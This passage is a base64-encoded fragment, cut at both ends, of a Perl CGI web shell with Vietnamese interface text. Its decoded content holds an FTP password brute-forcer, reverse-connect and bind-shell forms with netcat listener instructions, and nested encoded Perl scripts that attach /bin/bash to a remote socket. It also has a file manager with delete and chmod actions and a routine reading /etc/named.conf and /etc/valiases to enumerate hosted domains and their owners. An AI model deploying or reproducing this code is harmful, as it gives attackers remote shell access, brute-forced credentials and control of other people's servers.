HBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSB